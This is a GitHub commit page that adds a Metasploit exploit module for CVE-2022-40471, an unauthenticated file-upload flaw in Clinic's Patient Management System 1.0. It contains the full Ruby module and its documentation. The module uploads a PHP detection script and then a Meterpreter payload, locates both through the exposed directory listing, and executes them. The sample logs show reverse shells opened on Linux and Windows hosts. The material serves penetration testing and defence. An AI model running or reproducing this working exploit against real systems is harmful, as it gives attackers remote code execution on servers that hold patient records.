Skip to content

Commit 531ed16

Browse files
committed
Land rapid7#19733, exploit module for CVE-2022-40471 - unauthenticated RCE
2 parents 4a13b09 + f2d723d commit 531ed16

File tree

2 files changed

+364
-0
lines changed

2 files changed

+364
-0
lines changed
Lines changed: 116 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,116 @@
1+
## Vulnerable Application
2+
The Clinic's Patient Management System (CPMS) 1.0 is vulnerable to Unauthenticated Remote Code Execution (RCE) due to a file upload vulnerability.
3+
This exploit allows an attacker to upload arbitrary files, such as a PHP web shell, which can then be executed remotely.
4+
The exploitation occurs because of a misconfiguration in the server, specifically a lack of file validation for uploads and the presence of
5+
a directory listing feature in `/pms/user_images`.
6+
This enables an attacker to upload a PHP file and access it via a publicly accessible URL, executing arbitrary PHP code.
7+
8+
## Verification Steps
9+
10+
### Vulnerable Application Installation Setup
11+
1. Install Clinic's Patient Management System 1.0 on your web server.
12+
- Download the Web Application from [here](https://www.sourcecodester.com/download-code?nid=15453&title=Clinic%27s+Patient+Management+System+in+PHP%2FPDO+Free+Source+Code)
13+
- For **Windows**
14+
- [ ] Open your XAMPP Control Panel and start Apache and MySQL.
15+
- [ ] Extract the downloaded source code zip file.
16+
- [ ] Copy the extracted source code folder and paste it into the XAMPP's "htdocs" directory.
17+
- [ ] Browse the PHPMyAdmin in a browser. i.e. http://localhost/phpmyadmin
18+
- [ ] Create a new database naming `pms_db`.
19+
- [ ] Import the provided SQL file. The file is known as pms_db.sql located inside the database folder.
20+
- [ ] Browse the Clinic Patient Management System in a browser. i.e. http://localhost/pms/
21+
22+
- For **Linux**
23+
- [ ] Start Apache2 & MySQL with the command `sudo systemctl start apache2 && sudo systemctl start mysql`
24+
- [ ] Install PHPMyAdmin with the command `sudo apt install phpmyadmin -y`
25+
- [ ] Edit `/etc/apache2/apache2.conf` by appending this line: `Include /etc/phpmyadmin/apache.conf`
26+
- [ ] Extract the downloaded source code zip file into "/var/www/html" directory
27+
- [ ] Next steps are similar to the ones for Windows, so follow that
28+
29+
2. Start `msfconsole` and load the exploit module:
30+
```bash
31+
msfconsole
32+
use exploit/multi/http/clinic_pms_fileupload_rce
33+
```
34+
35+
3. Set the required options:
36+
```bash
37+
set rport <port>
38+
set rhost <ip>
39+
set targeturi /pms
40+
```
41+
42+
4. Check if the target is vulnerable:
43+
```bash
44+
check
45+
```
46+
47+
If the target is vulnerable, you will see a message indicating that the target is susceptible to the exploit:
48+
```
49+
[+] <IP> The target is vulnerable.
50+
```
51+
52+
5. Set up the listener for the exploit:
53+
```bash
54+
set lport <port>
55+
set lhost <ip>
56+
```
57+
58+
6. Launch the exploit:
59+
```bash
60+
exploit
61+
```
62+
63+
7. If successful, you will receive a PHP Meterpreter shell.
64+
65+
## Options
66+
- `TARGETURI`: (Required) The base path to the Clinic Patient Management System (default: `/pms`).
67+
- `LISTING_DELAY`: (Optional) The time to wait before fetching the directory listing after uploading the shell (default: `2` seconds).
68+
69+
70+
## Scenarios
71+
72+
### Clinic's Patient Management System on a Linux Target
73+
```bash
74+
msf exploit(multi/http/clinic_pms_fileupload_rce) > check
75+
[*] Checking if target is vulnerable...
76+
[+] 127.0.0.1:80 - The target is vulnerable.
77+
78+
msf exploit(multi/http/clinic_pms_fileupload_rce) > exploit
79+
[*] Started reverse TCP handler on 192.168.1.104:4444
80+
[*] Detected OS: linux
81+
[*] Target is Linux/Unix. Using PHP Meterpreter payload with unlink_self.
82+
[*] Uploading PHP Meterpreter payload as zuX7FDRe.php...
83+
[+] Payload uploaded successfully!
84+
[*] Executing the uploaded shell at /pms/user_images/1734340436zuX7FDRe.php...
85+
[*] Sending stage (40004 bytes) to 192.168.1.104
86+
[*] Meterpreter session 1 opened (192.168.1.104:4444 -> 192.168.1.104:48290) at 2024-12-16 14:43:59 +0530
87+
88+
meterpreter > sysinfo
89+
Computer : kali
90+
OS : Linux kali 6.11.2-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.11.2-1kali1 (2024-10-15) x86_64
91+
Meterpreter : php/linux
92+
meterpreter >
93+
```
94+
95+
### Clinic's Patient Management System on a Windows Target
96+
```bash
97+
msf exploit(multi/http/clinic_pms_fileupload_rce) > check
98+
[*] Checking if target is vulnerable...
99+
[+] 192.168.1.103:80 - The target is vulnerable.
100+
101+
msf exploit(multi/http/clinic_pms_fileupload_rce) > exploit
102+
[*] Started reverse TCP handler on 192.168.1.104:4444
103+
[*] Detected OS: winnt
104+
[*] Target is Windows. Using standard PHP Meterpreter payload.
105+
[*] Uploading PHP Meterpreter payload as lgTprVq5.php...
106+
[+] Payload uploaded successfully!
107+
[*] Executing the uploaded shell at /pms/user_images/1734341267lgTprVq5.php...
108+
[*] Sending stage (40004 bytes) to 192.168.1.103
109+
[*] Meterpreter session 2 opened (192.168.1.104:4444 -> 192.168.1.103:60615) at 2024-12-16 14:57:43 +0530
110+
111+
meterpreter > sysinfo
112+
Computer : DESKTOP-VE9J36K
113+
OS : Windows NT DESKTOP-VE9J36K 10.0 build 19045 (Windows 10) AMD64
114+
Meterpreter : php/windows
115+
meterpreter >
116+
```
Lines changed: 248 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,248 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
include Msf::Exploit::Remote::HttpClient
9+
include Msf::Exploit::PhpEXE
10+
include Msf::Exploit::FileDropper
11+
12+
def initialize(info = {})
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'Clinic\'s Patient Management System 1.0 - Unauthenticated RCE',
17+
'Description' => %q{
18+
This module exploits an unauthenticated file upload vulnerability in Clinic's
19+
Patient Management System 1.0. An attacker can upload a PHP web shell and execute
20+
it by leveraging directory listing enabled on the `/pms/user_images` directory.
21+
},
22+
'Author' => [
23+
'Aaryan Golatkar', # Metasploit Module Developer
24+
'Oğulcan Hami Gül', # Vulnerability discovery
25+
],
26+
'License' => MSF_LICENSE,
27+
'Platform' => 'php',
28+
'Arch' => ARCH_PHP,
29+
'Privileged' => false,
30+
'Targets' => [
31+
['Clinic Patient Management System 1.0', {}]
32+
],
33+
'DefaultTarget' => 0,
34+
'References' => [
35+
['EDB', '51779'],
36+
['CVE', '2022-40471'],
37+
['URL', 'https://www.cve.org/CVERecord?id=CVE-2022-40471'],
38+
['URL', 'https://drive.google.com/file/d/1m-wTfOL5gY3huaSEM3YPSf98qIrkl-TW/view']
39+
],
40+
'DisclosureDate' => '2022-10-31',
41+
'Notes' => {
42+
'Stability' => [CRASH_SAFE],
43+
'Reliability' => [REPEATABLE_SESSION],
44+
'SideEffects' => [ARTIFACTS_ON_DISK]
45+
}
46+
)
47+
)
48+
49+
register_options([
50+
OptString.new('TARGETURI', [true, 'Base path to the Clinic Patient Management System', '/pms']),
51+
OptInt.new('LISTING_DELAY', [true, 'Time to wait before retrieving directory listing (seconds)', 2]),
52+
OptBool.new('DELETE_FILES', [true, 'Delete uploaded files after exploitation', false])
53+
])
54+
end
55+
56+
def check
57+
print_status('Checking if target is vulnerable...')
58+
59+
# Step 1: Retrieve PHPSESSID
60+
vprint_status('Fetching PHPSESSID from the server...')
61+
res_session = send_request_cgi({
62+
'uri' => normalize_uri(target_uri.path, 'users.php'),
63+
'method' => 'GET'
64+
})
65+
66+
unless res_session && res_session.code == 302 && res_session.respond_to?(:get_cookies)
67+
print_error('Server connect error. Couldn\'t connect or get necessary information - try to check your options.')
68+
return CheckCode::Unknown
69+
end
70+
71+
phpsessid = res_session.get_cookies.match(/PHPSESSID=([^;]+)/)
72+
if phpsessid.nil?
73+
print_error('Failed to retrieve PHPSESSID. Target may not be vulnerable.')
74+
return CheckCode::Unknown
75+
else
76+
phpsessid = phpsessid[1]
77+
vprint_good("Obtained PHPSESSID: #{phpsessid}")
78+
end
79+
80+
# Step 2: Attempt File Upload
81+
dummy_filename = "#{Rex::Text.rand_text_alphanumeric(8)}.png"
82+
dummy_content = Rex::Text.rand_text_alphanumeric(20)
83+
dummy_name = Rex::Text.rand_text_alphanumeric(6)
84+
post_data = Rex::MIME::Message.new
85+
post_data.add_part(dummy_name, nil, nil, 'form-data; name="display_name"')
86+
post_data.add_part(dummy_name, nil, nil, 'form-data; name="user_name"')
87+
post_data.add_part(dummy_name, nil, nil, 'form-data; name="password"')
88+
post_data.add_part(dummy_content, 'text/plain', nil, "form-data; name=\"profile_picture\"; filename=\"#{dummy_filename}\"")
89+
post_data.add_part('', nil, nil, 'form-data; name="save_user"')
90+
91+
vprint_status("Uploading dummy file #{dummy_filename}...")
92+
res_upload = send_request_cgi({
93+
'uri' => normalize_uri(target_uri.path, 'users.php'),
94+
'method' => 'POST',
95+
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
96+
'data' => post_data.to_s,
97+
'cookie' => "PHPSESSID=#{phpsessid}"
98+
})
99+
100+
unless res_upload && res_upload.code == 302
101+
print_error('File upload attempt failed. Target may not be vulnerable.')
102+
return CheckCode::Safe
103+
end
104+
vprint_good('Dummy file uploaded successfully.')
105+
106+
# Step 3: Verify File in Directory Listing
107+
vprint_status('Verifying uploaded file in /pms/user_images...')
108+
res_listing = send_request_cgi({
109+
'uri' => normalize_uri(target_uri.path, 'user_images/'),
110+
'method' => 'GET',
111+
'cookie' => "PHPSESSID=#{phpsessid}"
112+
})
113+
114+
if res_listing && res_listing.code == 200 && !res_listing.body.nil? && res_listing.body&.include?(dummy_filename)
115+
vprint_good("File #{dummy_filename} found in /pms/user_images. Target is vulnerable!")
116+
CheckCode::Vulnerable
117+
else
118+
vprint_error("File #{dummy_filename} not found in /pms/user_images. Target may not be vulnerable.")
119+
CheckCode::Unknown
120+
end
121+
end
122+
123+
def upload_shell
124+
random_user = Rex::Text.rand_text_alphanumeric(8)
125+
random_password = Rex::Text.rand_text_alphanumeric(12)
126+
detection_basename = Rex::Text.rand_text_alphanumeric(8).to_s
127+
detection_filename = "#{detection_basename}.php"
128+
129+
# Step 1: Detect the OS
130+
detection_script = <<~PHP
131+
<?php
132+
echo PHP_OS . "\\n";
133+
?>
134+
PHP
135+
136+
vprint_status("Uploading OS detection script as #{detection_filename}...")
137+
post_data = Rex::MIME::Message.new
138+
post_data.add_part(random_user, nil, nil, 'form-data; name="display_name"')
139+
post_data.add_part(random_user, nil, nil, 'form-data; name="user_name"')
140+
post_data.add_part(random_password, nil, nil, 'form-data; name="password"')
141+
post_data.add_part(detection_script, 'application/x-php', nil, "form-data; name=\"profile_picture\"; filename=\"#{detection_filename}\"")
142+
post_data.add_part('', nil, nil, 'form-data; name="save_user"')
143+
144+
res = send_request_cgi({
145+
'uri' => normalize_uri(target_uri.path, 'users.php'),
146+
'method' => 'POST',
147+
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
148+
'data' => post_data.to_s
149+
})
150+
151+
fail_with(Failure::UnexpectedReply, 'Failed to upload OS detection script') unless res && res.code == 302
152+
vprint_good('OS detection script uploaded successfully!')
153+
154+
# Step 2: Retrieve the actual uploaded filename
155+
vprint_status('Retrieving directory listing to identify detection script...')
156+
sleep datastore['LISTING_DELAY']
157+
158+
res_listing = send_request_cgi({
159+
'uri' => normalize_uri(target_uri.path, 'user_images/'),
160+
'method' => 'GET'
161+
})
162+
163+
fail_with(Failure::UnexpectedReply, 'Failed to retrieve directory listing') unless res_listing && res_listing.code == 200
164+
165+
match = res_listing.body&.match(/<a href="(\d+#{Regexp.escape(detection_basename)}\w*\.php)"/)
166+
fail_with(Failure::NotFound, 'Uploaded OS detection script not found in directory listing') if match.nil?
167+
168+
actual_detection_filename = match[1]
169+
vprint_status("Detected script filename: #{actual_detection_filename}")
170+
171+
# Step 3: Execute the detection script
172+
detection_url = normalize_uri(target_uri.path, 'user_images', actual_detection_filename)
173+
vprint_status("Executing OS detection script at #{detection_url}...")
174+
res = send_request_cgi({
175+
'uri' => detection_url,
176+
'method' => 'GET'
177+
})
178+
179+
fail_with(Failure::UnexpectedReply, 'Failed to execute OS detection script') unless res && res.code == 200 && !res.body.nil?
180+
detected_os = res.body.strip.downcase
181+
vprint_status("Detected OS: #{detected_os}")
182+
183+
# Step 4: Choose payload based on OS
184+
if detected_os.include?('win')
185+
payload_content = get_write_exec_payload
186+
print_status('Target is Windows. Using standard PHP Meterpreter payload.')
187+
else
188+
payload_content = get_write_exec_payload(unlink_self: true)
189+
print_status('Target is Linux/Unix. Using PHP Meterpreter payload with unlink_self.')
190+
end
191+
192+
# Step 5: Upload the payload
193+
random_user = Rex::Text.rand_text_alphanumeric(8)
194+
random_password = Rex::Text.rand_text_alphanumeric(12)
195+
payload_filename = "#{Rex::Text.rand_text_alphanumeric(8)}.php"
196+
197+
vprint_status("Uploading PHP Meterpreter payload as #{payload_filename}...")
198+
199+
post_data = Rex::MIME::Message.new
200+
post_data.add_part(random_user, nil, nil, 'form-data; name="display_name"')
201+
post_data.add_part(random_user, nil, nil, 'form-data; name="user_name"')
202+
post_data.add_part(random_password, nil, nil, 'form-data; name="password"')
203+
post_data.add_part(payload_content, 'application/x-php', nil, "form-data; name=\"profile_picture\"; filename=\"#{payload_filename}\"")
204+
post_data.add_part('', nil, nil, 'form-data; name="save_user"')
205+
206+
res = send_request_cgi({
207+
'uri' => normalize_uri(target_uri.path, 'users.php'),
208+
'method' => 'POST',
209+
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
210+
'data' => post_data.to_s
211+
})
212+
213+
fail_with(Failure::UnexpectedReply, 'Failed to upload PHP payload') unless res && res.code == 302
214+
print_good('Payload uploaded successfully!')
215+
216+
# Verify the presence of the uploaded file in the directory listing
217+
vprint_status('Retrieving directory listing to confirm the uploaded payload...')
218+
sleep datastore['LISTING_DELAY'] # Allow time for the file to appear on the server
219+
220+
res_listing = send_request_cgi({
221+
'uri' => normalize_uri(target_uri.path, 'user_images/'),
222+
'method' => 'GET'
223+
})
224+
225+
fail_with(Failure::UnexpectedReply, 'Failed to retrieve directory listing') unless res_listing && res_listing.code == 200
226+
227+
# Search for the uploaded filename
228+
match = res_listing.body&.match(/href="(\d+#{Regexp.escape(payload_filename)})"/)
229+
fail_with(Failure::NotFound, 'Uploaded file not found in directory listing') if match.nil?
230+
231+
actual_filename = match[1]
232+
vprint_good("Verified payload presence: #{actual_filename}")
233+
register_file_for_cleanup(actual_detection_filename, actual_filename) if datastore['DELETE_FILES']
234+
actual_filename
235+
end
236+
237+
def exploit
238+
# Upload the shell and retrieve its filename
239+
uploaded_filename = upload_shell
240+
241+
# Construct the URL for the uploaded shell
242+
shell_url = normalize_uri(target_uri.path, 'user_images', uploaded_filename)
243+
print_status("Executing the uploaded shell at #{shell_url}...")
244+
245+
# Execute the uploaded shell
246+
send_request_raw({ 'uri' => shell_url, 'method' => 'GET' })
247+
end
248+
end

0 commit comments

Comments
 (0)